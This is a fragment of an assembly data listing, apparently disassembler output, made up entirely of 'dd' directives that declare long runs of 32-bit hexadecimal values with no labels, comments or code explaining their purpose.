		dd 4601B13Ch, 8A743F6Dh, 0BC70062Fh, 40393898h,	9885A99Eh
		dd 5E911049h, 8AF98C9Eh, 76563735h, 81FE701Dh, 7CBB68F2h
		dd 96BB5CA0h, 0DC2ADBB1h, 0C588B6ECh, 6D8D2AE4h, 2CF2B8F9h
		dd 0B4898533h, 0E6E331DBh, 0B8F2DDF8h, 77898DF8h, 931EFDD3h
		dd 0BF1F691Dh, 0FBCFD4Ch, 67E4930Ch, 1FACED01h,	0CD46420Ch
		dd 0B75432E2h, 0E7DBE2C0h, 2B728659h, 176390AFh, 5E40869Bh
		dd 4C0AD49Bh, 244BEEC1h, 5D39F744h, 0C6F100A1h,	4C78F257h
		dd 36F74C24h, 5E0210F3h, 0C19E4AFEh, 0CD3541F8h, 5338C184h
		dd 33CE3306h, 2F69BFCBh, 92197A96h, 2CBBC352h, 0D315227Bh
		dd 0FF657832h, 0FD2C5EE3h, 0B2C92453h, 2D47EB5Ah, 0F17BBBC9h
		dd 2EC1A598h, 9DB3B3F3h, 8D166A79h, 7D1E81B3h, 0B6DC5AD8h
		dd 4DCA2FBh, 4EC80773h,	6D900EB4h, 76403898h, 640355E2h
		dd 0AE4E5E27h, 0BF8DEAFAh, 44F25828h, 16719C46h, 1336F422h
		dd 0FD14DBCEh, 71080926h, 89B604BDh, 89881271h,	166812D1h
		dd 2B5024C3h, 24D02552h, 14E8128Ch, 9A7193E7h, 0EDD8FB97h
		dd 0F062EC33h, 0E9DCF897h, 6E449638h, 0F17711A3h, 0BC242C0Bh
		dd 0C4DAF58Fh, 636C3CA8h, 29E5CBF1h, 3F71E54Bh,	0BCB78679h
		dd 40AA3576h, 0E673154h, 0DA48A4C5h, 0E0F3E7A7h, 0B7EAA1E4h
		dd 34E5B5A6h, 4C5AB7B7h, 0D081C934h, 4D1B0DFDh,	2985032Ah
		dd 0D01C0D88h, 2897808Ch, 85F17C40h, 0B10EFD9Ch, 82AAA080h
		dd 2AD65093h, 0C1456E0Bh, 3CC16AADh, 82B54A4Eh,	14F5A7B7h
		dd 0E0B52BFCh, 99259257h, 0DDF05DDBh, 59EFC16Ah, 39AB010h
		dd 0D30116Ah, 30517B05h, 5274FE3Fh, 51DA6597h, 2BF8B135h
		dd 0A4499720h, 2384356Dh, 4DC66CC4h, 0B30E3891h, 0F17674CBh
		dd 9A4A98CFh, 0AC5DB073h, 0A01676Dh, 6BBB081Ch,	6B2C94D1h
		dd 0D16B9731h, 72692854h, 0E59500F7h, 65B679D3h, 5AC5ED44h
		dd 38988EF3h, 4D988495h, 5ADD8DA2h, 9C9261F1h, 0C926EF3Dh
		dd 0BBB30E1Ch, 92481C4Dh, 492EAF23h, 495DB48Eh,	9CBDA472h
		dd 67A2E204h, 5758E9A4h, 8112259Ch, 0A5956184h,	907788E2h
		dd 0DE49DBFFh, 5B90D0A4h, 0F95FA3F3h, 47E5D0AFh, 4B7DD29Eh
		dd 38AA641h, 410E7414h,	0A0847F03h, 0EBA8392Bh,	58AA83FBh
		dd 695692A2h, 357297CEh, 448E6B9Bh, 235BFE8Ch, 5CD47E33h
		dd 5FA2435h, 39D25005h,	73E650E4h, 368A11F8h, 0E0ED5EB4h
		dd 0EE81C003h, 1FFE4F8Bh, 0FAC0AADAh, 0EC3F4A6Ah, 8D4B1549h
		dd 0EF4FF1h, 887BE0B1h,	811B548Eh, 3C6D76A7h, 0C6DA6EC8h
		dd 6FA6ECA3h, 6C66EC14h, 0CC77676Ch, 337656C6h,	77609E37h
		dd 7666C6DCh, 616C6D27h, 18C6CA77h, 0BA8D59BBh,	0C3C46F67h
		dd 0DD46ECA2h, 0E40167B0h, 4F4EEA35h, 2434B04Bh, 0DF3D4CA2h
		dd 7BDD40EEh, 0F56BC991h, 0F16355E8h, 0AF803F1Fh, 0F0158839h
		dd 6FBEF1D8h, 2DDB1890h, 2ECA69D4h, 0FBA5041Ah,	8DAD4E97h
		dd 0C38A399Ah, 0B0649221h, 6F2A2DBCh, 861AC85Fh, 0A237DC1h
		dd 411E1B7Dh, 6DCA52FAh, 0A2E826B1h, 0BAE207Fh,	2219F19Eh
		dd 6AFFB33Eh, 0E479F1A9h, 0BFE18A56h, 8E0E6759h, 757F6696h
		dd 6D54DBBEh, 0DC6F529Bh, 0DC312DD0h, 4D76B0ACh, 0E8032A9Dh
		dd 0E85F1E5Fh, 0DD937972h, 0DB161CEEh, 4D3C6285h, 976EA771h
		dd 71EBF59Eh, 14998B16h, 2B4D5D3Eh, 0D21F7C9Eh,	3E33E0ADh
		dd 0CFBF1374h, 10CC400Ch, 70CE608Fh, 14B7C5B8h,	0EB08FF87h
		dd 0DFC7B05Ah, 58AED60Eh, 83A07FE0h, 32742E6Ah,	0C03BBAA0h
		dd 0D0EB60D8h, 0DE96E44Bh, 97F7A148h, 0D1DE7499h, 8D04DF7Ch
		dd 809F7109h, 86AD6A12h, 1705CB37h, 70D41492h, 335930DFh
		dd 10DE2C3Ch, 59ACDDC3h, 0D0F8D34Eh, 6A217875h,	494EA4EBh
		dd 43C4AF30h, 480A4D79h, 89244CF2h, 0F3C7E11Dh,	541C707Ch
		dd 0DE018D8Dh, 567A3D6Eh, 8DB9F150h, 0C7F2283Eh, 0AD1A60E3h
		dd 0D1F176F9h, 0AD88744Eh, 217EA5D3h, 7B3C8899h, 2D553C8h
		dd 0EB1FA90Bh, 1799E9BDh, 0D521DDEDh, 0BB156AB2h, 4C311959h
		dd 1E9D38A4h, 0B9661383h, 62F6B04Eh, 5E10BAFAh,	6D878CEBh
		dd 1AC57326h, 398D7E16h, 0B30C80E7h, 0D60CA1CCh, 95BB0D7Eh
		dd 5283A926h, 0C63C56CDh, 0BE5CFCCFh, 433332D9h, 0D0B5664Fh
		dd 5DCB8C56h, 102AECEFh, 99509D73h, 361D5576h, 55056C5Fh
		dd 808934B6h, 0AE76C318h, 42AAF79Bh, 71C57999h,	77F51A6Fh
		dd 8D7BAABFh, 54D1F4DBh, 0B21D20A5h, 0EBA2298Eh, 7D5EF127h
		dd 0B9C98B39h, 0CA3BB54Eh, 2C4D5D6Dh, 0ADDD5B6Ch, 85831A6Ch
		dd 4CA3E6DAh, 0E5DBD40Eh, 0AB4791A7h, 0AD90B2FDh, 0D7D67FB2h
		dd 0D62D501Eh, 62C87FF9h, 6755B49Dh, 0BADB0DADh, 813176ECh
		dd 0CE81A639h, 6B6FF322h, 6A54ACD9h, 5352B32Fh,	1799FB6Bh
		dd 0D12ECAE2h, 50540B4Bh, 64539F4Dh, 8B839A72h,	0C8DFF8F0h
		dd 0AC2D7DE2h, 0A9A1DA1Dh, 4966F6C7h, 8AC55F54h, 0FA3DF3A3h
		dd 5604DD06h, 0D546C8AFh, 421A46C4h, 0EBB88B54h, 4BD50361h
		dd 3E4E46CBh, 0F285D4F9h, 1DE24DBAh, 0B96669F4h, 85ECFE5Ch
		dd 0CCA067FDh, 3C6BC56Bh, 1171E0DDh, 47C50AC9h,	572EB6B9h
		dd 0C7F7ACFFh, 0C74C93FEh, 0F4F4CDF7h, 8A66EFC5h, 6BE9B419h
		dd 76A74C39h, 95FFC677h, 3EF6F371h, 0CB4EFF19h,	52F81CD8h
		dd 0FB6C655Ah, 5096BD54h, 0E1183357h, 2312276Ch, 96258B6Ch
		dd 4912CB7Fh, 0D1A85611h, 65D45233h, 0E1CFD205h, 0E35C9322h
		dd 22F00E6Ah, 0DF168883h, 8023497Fh, 0A9D8E45Bh, 0BF313D95h
		dd 44ECBCA4h, 7643F273h, 0A8B94D75h, 976529AEh,	23D66951h
		dd 87235913h, 29ECE872h
		dd 0B66C9FAAh, 13BEA95Ch, 78BF7B6Fh, 9CA99B71h,	4E932456h
		dd 0AD4C3657h, 0C6C5AF6Ah, 40D8B3DDh, 22FE7DA7h, 0B82EDE88h
		dd 8DA5D6CAh, 3FDFD5E4h, 0B7DBCB92h, 0B45E5B76h, 75170F1Eh
		dd 0AB22F479h, 6A13EF9Ch, 0E9B6837Dh, 0D6DB4431h, 0F3B077F1h
		dd 5B9CB57Dh, 0C1E4B9C1h, 0B3D0AF4h, 15AA667Bh,	0D98C2845h
		dd 154AAE55h, 3DE9A87Ch, 0DD31CB75h, 8F2BABCAh,	73399845h
		dd 0A6586374h, 0A0DD85DDh, 8E5B7FFh, 8815E3A2h,	2EF6452Dh
		dd 0BDF07986h, 0DDE4D90Bh, 0CF8D7962h, 0F8699411h, 0A477F15Ah
		dd 0EFCC3AADh, 0EF023534h, 7B01DD1Ch, 69DF33E7h, 3288168Ch
		dd 0D5E2A77Ah, 9E37CF15h, 0C8B55D85h, 0AE79272Fh, 9BA7542Dh
		dd 59C1C2Bh, 0DEF561F3h, 94A5EE11h, 6DB77E67h, 6B72BC37h
		dd 0FA6C4360h, 5F16C933h, 0F6273656h, 2BBB524Dh, 0F74A7B72h
		dd 32E2B2B2h, 24DEB487h, 0B5A48B6Ch, 6360687h, 3EE6CFA7h
		dd 0C6750DF4h, 762AE35Fh, 7087D47Fh, 0F0E2A389h, 7E38AB65h
		dd 0D86D9B9Bh, 22FAF0FCh, 12418AEDh, 2EA7BE5Dh,	0C6AD03FCh
		dd 2DE927A3h, 0D4CBFCE2h, 0EB2BEA95h, 24E99705h, 79578797h
		dd 15221156h, 954FC085h, 0B962C26Eh, 12411A17h,	0DE14437Ch
		dd 0BB5E7ECDh, 437AC0C4h, 6B5BD40Eh, 0FFEC75D5h, 0F03DF6B3h
		dd 0E3D7554Dh, 86D25F49h, 5B012536h, 4AB45A29h,	48A82899h
		dd 9DA4B6A8h, 3AA57845h, 922C2CAh, 936E0B55h, 31CE662Eh
		dd 12A18F78h, 0FB46974Ch, 36E6C97Ah, 9BA6DCDCh,	375F755Dh
		dd 0E9B86EFDh, 58D089C4h, 58651696h, 33F94190h,	0D5E10E29h
		dd 6DA814A0h, 3BF7DA80h, 0B497DCE7h, 0DF6E8FE5h, 0A48FCFCFh
		dd 0EF77DDEFh, 3BFEE7B9h, 0CF73DCF7h, 0D24B529Fh, 78436EDDh
		dd 4BEE060Bh, 3DFC956Ah, 3C024FA9h, 0F16092D1h,	68CDF2D5h
		dd 0D505B07Bh, 486BD433h, 0FD9F1F93h, 8033EB57h, 155D41DBh
		dd 794302Ch, 33A40B8Bh,	0D2429798h, 5C9D0AA5h, 5FC0F38Fh
		dd 0A0B7111Ah, 0AC5FE027h, 0B4A2547h, 89BFE62Ah, 6F956139h
		dd 0C4DB59E3h, 0A147182Dh, 0A3C76C4Dh, 92EE22A1h, 8A607146h
		dd 0DB8509D8h, 8D2D8C44h, 0F582DC4Dh, 0AC170E06h, 0E6874D30h
		dd 9C8154F8h, 6AB96B44h, 7415AC2Fh, 0A10DCAACh,	2380B771h
		dd 0FA99496Eh, 7B2EC157h, 17F8CCDAh, 1BAB0E5Dh,	32FDC7B9h
		dd 0F004A6CFh, 0AA237E62h, 0A6D0F490h, 0E0D38F8Ah, 0C3A2951h
		dd 0EE66DD9Dh, 522B5F82h, 0DE953292h, 3B056BADh, 0A78E2DA6h
		dd 0D2F8652Bh, 5A4B3F84h, 0FC5C9DD9h, 5FEF0F63h, 0ABF28F3h
		dd 68756C73h, 0B7C0698Dh, 96690D2Dh, 4B73BDC0h,	5EDABEBFh
		dd 0D5A8FB5Ah, 0AF05A9B6h, 7F19E630h, 9D2CAF1Fh, 0C3156905h
		dd 67C6B6D2h, 9D5B4E94h, 0A8F25A53h, 0AB0A2EBDh, 8BFC6C4h
		dd 0D2FCF1EDh, 0A5B94AEFh, 94C6955Fh, 9465203Eh, 0AF8493CEh
		dd 97C147C6h, 7E017159h, 493F8B6Fh, 915F77B7h, 0B8743215h
		dd 5D35F93h, 0ABA41A67h, 0B4AD31Bh, 0A3A5F1A4h,	943674A0h
		dd 1B294CEh, 87D2F493h,	5A9B4D1Fh, 759C60D0h, 0F02F7C5Bh
		dd 29F143ECh, 861B5C3Ch, 0F4579A78h, 0A0D0B98Bh, 29F91AB1h
		dd 9E966DDh, 47F1425Ch,	53C43CD6h, 1308C9BCh, 8C9FC66Ah
		dd 0E45365BAh, 0D352AE4Dh, 0DAD447FDh, 5F8AFBC7h, 5AC20FF4h
		dd 3C47742Ah, 81F1671Ah, 856F6155h, 6A8F565Bh, 5C3637CCh
		dd 0A1F2B739h, 5E3B617Eh, 37747CD8h, 3145ED5Eh,	6C694EFFh
		dd 835B3EA4h, 0AA33587Eh, 9B60D2D1h, 0DC87795Bh, 0B0C6BC1Fh
		dd 8E825784h, 0C8FE1BE3h, 3ABCAAC5h, 0BA83E154h, 0D56D6F16h
		dd 3AE8996Dh, 0DA915C92h, 5648FEh, 182DD311h, 0A14E6FD8h
		dd 0D1A93B09h, 9990DE52h, 9665AB7Ah, 0AD5A4B50h, 9829432h
		dd 0DE877826h, 5C998889h, 6A1DB644h, 32050DAAh,	42473FD1h
		dd 26BDB02Ah, 93A07A66h, 71FB5EF0h, 3B0C2FECh, 0C2C18987h
		dd 0F1C58669h, 55BCB5A4h, 0B97FE8FDh, 35259A4Fh, 3A3DC023h
		dd 0E1C4DC02h, 83878AE0h, 86D6A1DBh, 0A2002B0Ah, 0C869549Dh
		dd 0B44ACB9Ah, 0EBA2408Ch, 5EA7FC4Bh, 67CA91A5h, 73CAFDEAh
		dd 82FAAFDEh, 0A4B57BF7h, 928A28CAh, 0EDC98B44h, 0F6393761h
		dd 3268A3Bh, 0E2DE9C09h, 642147EDh, 0A1D4B250h,	83A3EE26h
		dd 0F51D682Dh, 1A5F20Ah, 0ADACF3ABh, 38F077FEh,	47F655B3h
		dd 4B4B231Eh, 192FD7F5h, 64061E0Dh, 0D755E2DAh,	4651B3C2h
		dd 0DE4A14F9h, 3935BB47h, 0E9F95A0Fh, 928D41A1h, 0EF092072h
		dd 0DFD47262h, 0E0929BFCh, 434DA634h, 90EC2049h, 41EAFA74h
		dd 6C94FA7Eh, 0E7C4B472h, 5BD579h, 0E9DC755Ch, 92D3D821h
		dd 61C3ADB0h, 0F60862FFh, 0D9EC3A25h, 805C761Ch, 304B78DCh
		dd 0AF3DFB8Dh, 0A7931919h, 3D21B68h, 750301BFh,	3AE93584h
		dd 0B81BB6AFh, 0F7B13690h, 0AE21A029h, 5F613136h, 7EDF2A8Bh
		dd 2A33B563h, 597B5A1h,	0A94122B7h, 7EB0D81Ah, 0BD66FFDFh
		dd 0E3AF3F81h, 0F0385B0Fh, 7791230Fh, 0C633A5AEh, 0DA374C27h
		dd 0DF845CB5h, 0B5800C7Ch, 87F8456Ah, 6789F0A7h, 19F92BA9h
		dd 19B2E130h, 0A0650CC3h, 0C0C87BEBh, 0DF89E23h, 0E87EB37Eh
		dd 0E1803E45h, 4660832Dh, 4A94A573h, 0CEB00BA1h, 341E8EDh
		dd 0D19807A4h, 3D304350h, 0CA59565Eh, 0F2D11AD6h, 7255BC22h
		dd 44E750C1h, 6A3D1866h, 0A8C0B225h, 0CAC65705h, 0A1A7BF4Dh
		dd 0E5E1A075h, 89DD1C66h, 45CC426Dh, 0CB965115h, 95900B20h
		dd 6C6D89BCh, 211CB4CEh, 31468006h, 83194997h, 249616D1h
		dd 93F2A73Dh, 6C580B11h, 6D1DCDAFh, 0D6ABED7Bh,	42EDF7C8h
		dd 398A6234h, 0AFC9607Bh, 855F66F8h, 71CA9410h,	1FABDC45h
		dd 0FA592A40h, 684EAC24h, 2B86BDB3h, 3D6A4170h,	169B23CFh
		dd 0CCD5F26Bh, 2DC2140Dh, 0AB00E4A8h, 0D1920AE2h, 0B328D463h
		dd 0D92AC6B3h, 538B3142h, 467F2CB6h, 58B18C17h,	5F1B1FBCh
		dd 60A02D0Bh, 80B74AEh,	0B40F5629h, 0B73AFF1Dh,	68D518AFh
		dd 5A05C947h, 0A0655E1Fh, 8F1F4036h, 8A38FBD6h,	959C1CCCh
		dd 0C9DE06ADh, 0B50647E4h, 0B0E150CFh, 5968300Ah, 196817E0h
		dd 98D75CFFh, 0C1A233D1h, 0F860E04h, 0A1D009A3h, 413B5D07h
		dd 0A6949AA9h, 0F01C4452h, 0A5736CE2h, 0B58DD446h, 1CC1F115h
		dd 0DFA9A610h, 0C4693DF8h, 0CCAA04B1h, 5E9B1EFCh, 0B4131AA0h
		dd 0DF829975h, 86A78E12h, 0E4343BDCh, 8346290Fh, 96758FA3h
		dd 0D32976C8h, 0D05F7E43h, 0C8182CA2h, 7FAEC387h, 0D99E936h
		dd 83A509C2h, 24C84D4Ch, 0A2ED958Dh, 0A8AC3D97h, 0BCB897B3h
		dd 65A2B53Bh, 0C9B92EC0h, 685CD25Bh, 3DC5CBA1h,	481EE88Dh
		dd 4D689126h, 0D9403DCBh, 0E82E2BE5h, 7492C490h, 21900248h
		dd 915A4BD3h, 946261C4h, 6183D63Eh, 0B9E85324h,	2E692575h
		dd 13952266h, 38BBF358h, 26FC7336h, 2FE76978h, 0B1FFA8A3h
		dd 48522E0Ch, 41CAC9C3h, 90051AC3h, 1A3E3984h, 603BC374h
		dd 12F16B9h, 0AB4967C6h, 828FA5BAh, 18078DA6h, 119150BEh
		dd 8D2ACA96h, 16FD5BFAh, 6E9E5F0Dh, 3C8643CAh, 5521A5D2h
		dd 0A6E56F90h, 5513F72Fh, 0D35F20C4h, 0BE1BA3Ch, 60B6381Dh
		dd 4C7A1605h, 3B47ED90h, 0C2513459h, 71724064h,	0AF8F94CAh
		dd 6701860Ch, 9DF72F64h, 0F229E3B3h, 0F573BB2h,	36B707Bh
		dd 3D94F34Dh, 0EBAAD932h, 0BEDC6D56h, 6492A9F8h, 0CB70A27Ch
		dd 5C96C912h, 56FD6816h, 0D43B79CDh, 0DF29C292h, 0A77EA638h
		dd 6DB5AD64h, 0D8AB59DAh, 0C567CBCBh, 150DA93Fh, 0DFF39218h
		dd 0A9F51742h, 67427F99h
		dd 0F1B8E000h, 1B8F85ECh, 59F91840h, 112C2703h,	0F0F10684h
		dd 5E62747Fh, 0F7276280h, 2AA2DF06h, 0C2F4A0Fh,	0FB7F23AFh
		dd 831E45B7h, 0B3BAE3E1h, 5AADCA98h, 0E78D451Ah, 0CA9A6A87h
		dd 7DDA316Fh, 569F73F8h, 24746584h, 6406FCA8h, 66B76CE0h
		dd 4CCCDD64h, 1335F785h, 0E12C5B72h, 0F165D2FDh, 0B59D687Ch
		dd 0C0750EADh, 0D5098190h, 0D827806Dh, 36935A2Bh, 43C89CC5h
		dd 0AC5FD72Bh, 13C90595h, 5E84F155h, 7DCB1A64h,	0EE4325EDh
		dd 0A5679CC4h, 71EB7C47h, 62A7717Ah, 75E6EEDAh,	2AD9CB90h
		dd 0C73DF18Fh, 209E9D67h, 46663B9h, 0A5AF5460h,	0FF24A830h
		dd 34C70598h, 70078CBCh, 8CF709F0h, 30EA5CE9h, 0AFBE2239h
		dd 35C51D88h, 71FCBEFh,	0F9050703h, 0A5D03068h,	0CCA087C9h
		dd 48142FC1h, 94C3E0E0h, 4A4A00C5h, 0EBA30585h,	5CF5B968h
		dd 0CB6493DCh, 274F3D96h, 0F9BAEE31h, 0C8E6E19Eh, 86E198E6h
		dd 855091F8h, 58559CA5h, 66D4B82h, 0BB459ACEh, 19030680h
		dd 0F11BA934h, 13ACA94Ah, 0C35F8B49h, 4BA4AC75h, 0DCEADC66h
		dd 0C316A5A1h, 0EFBA1D50h, 0C3255DEAh, 0BAEDAD54h, 0D006A57h
		dd 7BC3900h, 0DCA8317Ah, 0E0A34808h, 580A1C84h,	32FD5BEEh
		dd 714E874Bh, 3749A40h,	8656A4F7h, 3C30740Eh, 438CD9Fh
		dd 0D2BBE0C4h, 37683360h, 46407D03h, 0CF14C2BDh, 37AA3FD1h
		dd 850D073Dh, 0C102C14h, 38D20CD8h, 58D7FF60h, 0C63900D6h
		dd 2B7688h, 1AE75CDAh, 259EEACBh, 19F4318Bh, 50C7EFBAh
		dd 2C70071Bh, 9AD50E6Fh, 15865C0Ch, 6285AD1Ah, 0C6AF456h
		dd 0B8B47A2Fh, 9BAB62C8h, 0F580E507h, 55817303h, 0D347A298h
		dd 11663684h, 0A0E615E6h, 0E70BAD8Ch, 0CDC98548h, 90798B4Ah
		dd 16CBE000h, 0F1ABCDDFh, 1320D646h, 702BC543h,	0B459450Fh
		dd 0D06A623Dh, 12F579CBh, 0E2C97A00h, 0B2F1158Bh, 0BE7A0D19h
		dd 47E33918h, 99381FABh, 59260E3h, 0F2471A90h, 3585A7C1h
		dd 5ED230CDh, 0BDA4B3F7h, 27BE7EAEh, 0D507F412h, 51AE4BFFh
		dd 0B26B0C9Fh, 789CE289h, 464A077Ch, 61F71EB8h,	84241D78h
		dd 6A6DE0AFh, 0D1EE0636h, 0E2280670h, 0F8051340h, 0ABDE5F41h
		dd 5D3C04D8h, 46B9ECA7h, 0CD2708D8h, 0CAC8F573h, 70E423EAh
		dd 26C8606Eh, 0F8524B96h, 0DFCED279h, 7E40903Dh, 0CA84C6B0h
		dd 80047156h, 0A3D33680h, 4B8AA168h, 1FF2CB44h,	8701AAB2h
		dd 0AA53E8E6h, 2CAEB880h, 6611675h, 4160059h, 0F8BC57F9h
		dd 0B5CB84Dh, 0D3469B70h, 2DF9ABB6h, 95FD0F32h,	3EF424Eh
		dd 8A22CE15h, 5D85B41Fh, 7BDD09B9h, 0CE4CDA85h,	796C59F7h
		dd 0A9756B1Ah, 56709BFBh, 0E129E4A1h, 7915F7Ch,	6F280B96h
		dd 941FC341h, 0AF09CB89h, 672F6EFAh, 558073D4h,	40C32B4h
		dd 8A328D27h, 30077889h, 4D580BAAh, 73EF0FAFh, 1C229FD5h
		dd 0E734D896h, 0DC2A402Fh, 0F214236Ah, 146E4EB2h, 80639914h
		dd 0C83DFBF9h, 0E92975E1h, 0CC5981BAh, 0DD525B04h, 0F966B620h
		dd 0B73AAF76h, 0D5CE4E89h, 2C9BF6B4h, 85F609AFh, 9438F8Eh
		dd 86756793h, 0DF19A5A3h, 1386A64Bh, 56225A40h,	0C65F23FAh
		dd 0EA9CBDEBh, 110CC6CDh, 28BF046Bh, 9BB0FCC4h,	0C96D4758h
		dd 193D5B64h, 909B10Eh,	0C32F09B2h, 9A596BAAh, 2D75527Fh
		dd 60272E1Ah, 9B76DCD1h, 8E616772h, 50B4B5EDh, 347E6E2h
		dd 44A777D2h, 6A90DAA5h, 4A561695h, 534A55B7h, 2B4BA52Bh
		dd 1E4A47E5h, 0AD580428h, 0C2A57D48h, 0C47FDDC9h, 140F9CC8h
		dd 0D7EADA16h, 0EEC2A4F3h, 2A4F15Fh, 9D0317EEh,	30259078h
		dd 0EADBE524h, 7E52791Bh, 0E7BC157Ch, 0D0F06B49h, 56A07F16h
		dd 0A9F1D19h, 0EFA55309h, 0F8D4C240h, 16F521DDh, 54A55E69h
		dd 10DD2956h, 0CBA48B52h, 64BA6A43h, 71805C83h,	92AD4545h
		dd 9F11515Eh, 3E96DB5Dh, 14FF10CAh, 201B64FEh, 0D33D2DB1h
		dd 400A3F10h, 0C9A58Ah,	297E38A4h, 0F290CF3Ch, 3C4679E1h
		dd 49A79E13h, 49C045C8h, 0F42CF63h, 3D640CDh, 0B89CBF87h
		dd 76DDE099h, 75C96D5Bh, 0CC3770B6h, 0D77725C7h, 0CF50372Ah
		dd 7FEA666Bh, 769EA266h, 91A58FA9h, 60DA7B07h, 0C2A7934h
		dd 0D64F2693h, 2E4D42E4h, 11FCE4D0h, 0C2333EE6h, 27540138h
		dd 0B9931C71h, 3CA18F95h, 7E46A0CDh, 0CD0B4463h, 0D20EF202h
		dd 55C699F2h, 3577FEFFh, 0CA81A99Dh, 0F53FE792h, 0CE5EFE19h
		dd 8D473DFh, 0F7F20F7Fh, 0DFC0353Ch, 0BE7BF85Bh, 3CBD1DFAh
		dd 0A0581CF7h, 9236ACD6h, 0C1005207h, 3BD50A93h, 7DFC1074h
		dd 7533AB2h, 0AAA7DFC1h, 5DDEA5D7h, 978B9B3Ch, 2EB87176h
		dd 638B9D5Eh, 0B9C8E2E1h, 0DE2ECE38h, 88761714h, 48DBF0DEh
		dd 0EE9E6F5Bh, 0FE5A92D8h, 4E035FD3h, 47A07365h, 4233AB4Dh
		dd 0D0C1F093h, 0BC40BF84h, 19E1A542h, 1A930EF8h, 4366EFFh
		dd 7AC9C00Dh, 34D7F155h, 59F0E7ABh, 56609F8Dh, 98CCD78Fh
		dd 0FA275E70h, 89D9191Eh, 0D9191E8Bh, 8C8F9589h, 47E2C4ECh
		dd 0E4E27646h, 62764647h, 75E723DEh, 9191F9A2h,	0C3E9F89Dh
		dd 0C3F13B23h, 9DA2C987h, 0FFDD7927h, 71327A3Fh, 4B90A696h
		dd 0EB6C10F5h, 21805310h, 41169A67h, 2079004Fh,	0A5CF40EAh
		dd 27BD4AE1h, 87922FF1h, 30F2072h, 2E47534Fh, 0C9591DE2h
		dd 25E8D23Bh, 0DA818CD5h, 5B06ADD0h, 2ADD067Dh,	5B24F3C2h
		dd 0D52C8BB8h, 96445691h, 53709100h, 790B4BA4h,	3A3BF841h
		dd 72F02CD7h, 247008A7h, 332B2D13h, 0EF8D9FCh, 0CCF7C909h
		dd 7828FBE4h, 63F63DB7h, 46C8704h, 0D29F287Ah, 8EFE7F3Fh
		dd 8F5B8F41h, 7A1B56F6h, 0A864C64Eh, 1A9E4ACFh,	43B0D454h
		dd 8E0B87E9h, 0CE0254E3h, 948C31B8h, 0FB4EBA86h, 0A279CBE5h
		dd 77F4891Eh, 0CEB35EC0h, 3D5B7EF0h, 304225Eh, 76C96856h
		dd 26629A12h, 11CCC15Fh, 0E16D79B1h, 63E5A33Fh,	5737E089h
		dd 0B7C2B26Fh, 0F53D4048h, 791B3B3Ch, 96E56B15h, 0A32CB592h
		dd 831EECB6h, 0E534059Ch, 732D2046h, 0D597C6E7h, 0B0DD7D96h
		dd 0ECB6BD3Ch, 6BCAC361h, 0D166CB6Bh, 95865DF3h, 0A6CB6A13h
		dd 618973D1h, 0E3D218E5h, 32421386h, 105AA08h, 37F1E929h
		dd 4324CE01h, 169FCDA3h, 0A2D36EDh, 3D09B21Dh, 0A55ACCB5h
		dd 240BDEC2h, 6E76D1ADh, 2423D08Ah, 0C4484468h,	92FA1B5Ch
		dd 0F7853E21h, 54B45E0Ah, 0E827C757h, 86E0647Dh, 0D4972AABh
		dd 0FBB2E61Fh, 44EA616Bh, 2CF1A556h, 6298922Eh,	0F0B9FAB7h
		dd 501DC134h, 1B5E1460h, 6180A7ECh, 9B481C48h, 0E718AB5Bh
		dd 20312AF2h, 0F1BBE2DAh, 128F0296h, 3334BB34h,	0C41102FEh
		dd 0CF5C9359h, 7F5AA530h, 3D343469h, 3DFA6C30h,	3DDFA7C0h
		dd 0BFC3F4FAh, 0C326EF1Eh, 3D94B8B3h, 0A4BFC3EAh, 9F00F819h
		dd 19F0F781h, 0FEB43258h, 0DF0BEA2Ch, 9E3BC2E7h, 2E1B4DC4h
		dd 9766DB21h, 7D7DFD5Ah, 700213F2h, 0BDA12B3Ah,	448DE57Ch
		dd 0D5EA2D6Fh, 671A6B1Fh, 0A671AA09h, 3A75A3CAh, 92CF4BACh
		dd 0E80EFF5Bh, 14DFA01Dh, 3D537488h, 469548C5h,	3DD577B3h
		dd 0E943A29Fh, 17817E77h, 526C3C55h, 7E5AF504h,	3C157858h
		dd 22F1F35Ah, 0A41BD753h, 36ABEDE0h, 52E4D360h,	52D1DDBFh
		dd 6D0839BDh, 0E6E2F539h, 1861AF65h, 7C5F1793h,	0EFC66631h
		dd 0C7D517C6h, 0B735E01h, 73B2A324h, 0F9283E36h, 250C6B28h
		dd 0A38FABECh, 7DB4EDE0h, 0A6134679h, 0FC59BFC7h, 0A91F2C0Bh
		dd 7E795FC3h, 703E40CCh, 16FCED60h, 63FD0AC6h, 0B2AF557h
		dd 0DBBDA381h, 1A7576Fh
		dd 70B658h, 27A0290Dh, 8A93D483h, 0C2D9199Dh, 0E132E284h
		dd 65C55EDFh, 3D55BF81h, 7215A54Ah, 22E51331h, 0A837E1CAh
		dd 7556980Eh, 0BFB34CABh, 0D583E0FBh, 2ADD6E72h, 0AED9AACBh
		dd 6EB5B285h, 37E97595h, 6165FBA5h, 0BA75B1BDh,	0C7DABD1Eh
		dd 7EDD9695h, 59E18DC1h, 0DF16860Ch, 5D91333Dh,	7EA4FA7Ch
		dd 7A04A707h, 7F254C79h, 0E8DC4441h, 0A4D70176h, 3E29EAFEh
		dd 2B00E290h, 365152h, 0BFA3634Bh, 376E5C0h, 0BC818F08h
		dd 67EADB30h, 88BCA162h, 52EDC078h, 0C0954FEFh,	79FC07BCh
		dd 9E583798h, 0AE8BCC91h, 83C51A79h, 8F6D5B33h,	70B8F809h
		dd 0DCD0244Bh, 0F89B76F8h, 31B34A14h, 0D3CD6A6Ah, 6267ADC1h
		dd 96C633E2h, 0AA86A643h, 77B7C6A6h, 3DD831AAh,	0D37E6A1Ah
		dd 0A6ECF350h, 1779941Ch, 2F3AFBDAh, 0D57C296Bh, 0FC41AC74h
		dd 0FE5A3ADh, 0DF3C091h, 917B9F0Bh, 0FC5FC554h,	0E7F7BA83h
		dd 0F6EBBE64h, 0AE7FFBAAh, 3602F62Bh, 7C446F1Eh, 0F2E85FCAh
		dd 1864B435h, 0AE6AAE30h, 0F2DA17CAh, 0DB0BF7C8h, 511644C4h
		dd 0CEC7748Ch, 5DC6F6C6h, 348775B5h, 4590F443h,	31D61B78h
		dd 0E424249Ah, 0D573FB7Fh, 8F721147h, 51EDD73Fh, 9918F083h
		dd 71CFE85Bh, 506FD479h, 2FC1F935h, 0E5F7B017h,	6741D9F4h
		dd 1C867481h, 0E7E2FCFBh, 0AB76EE28h, 0F60BFC97h, 9FBE3415h
		dd 0AAF211CEh, 0C017E2D7h, 43D46E22h, 1CF1EA4Dh, 0DFA85169h
